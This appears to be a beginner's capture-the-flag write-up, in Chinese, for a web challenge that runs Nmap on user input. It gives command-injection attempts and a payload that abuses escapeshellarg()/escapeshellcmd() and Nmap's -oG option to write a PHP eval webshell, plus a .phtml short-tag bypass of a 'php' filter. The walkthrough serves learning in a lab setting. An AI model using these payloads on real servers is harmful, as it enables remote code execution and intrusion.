本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,看到一个扫描IP的执行框,
查看源码可以得到flag文件位置,

输入个IP试试,


回显结果很像Nmap扫描结果,结和题目可以确定这道题考查Nmap扫描命令,
然后他会把扫描结果放进一个文件里。
尝试直接拼接命令,

1
127.0.0.1 ;ls


多了个转义符号,测试一下单引号'

1
127.0.0.1 'ls


根据上面的回显可以推测后端有escapeshellarg()escapeshellcmd()对传入的参数的过滤,
这道题的源码逻辑和[BUUCTF 2018]Online Tool很相似,都是这两个函数一起使用产生的漏洞点,
构造语句写入一句话木马,
payload:

1
'<?php @eval($_POST["hack"]);?> -oG hack.php ' //末尾的空格不能忽略,不然文件名会变为hack.php' 会多个引号



有过滤,检测发现是php被过滤,

1
'<?= @eval($_POST["hack"]);?> -oG hack.phtml ' //末尾的空格不能忽略,不然文件名会变为hack.php' 会多个引号

<?=相当于<?php echo


访问hack.phtml

写入成功,
连接蚁剑,



获得flag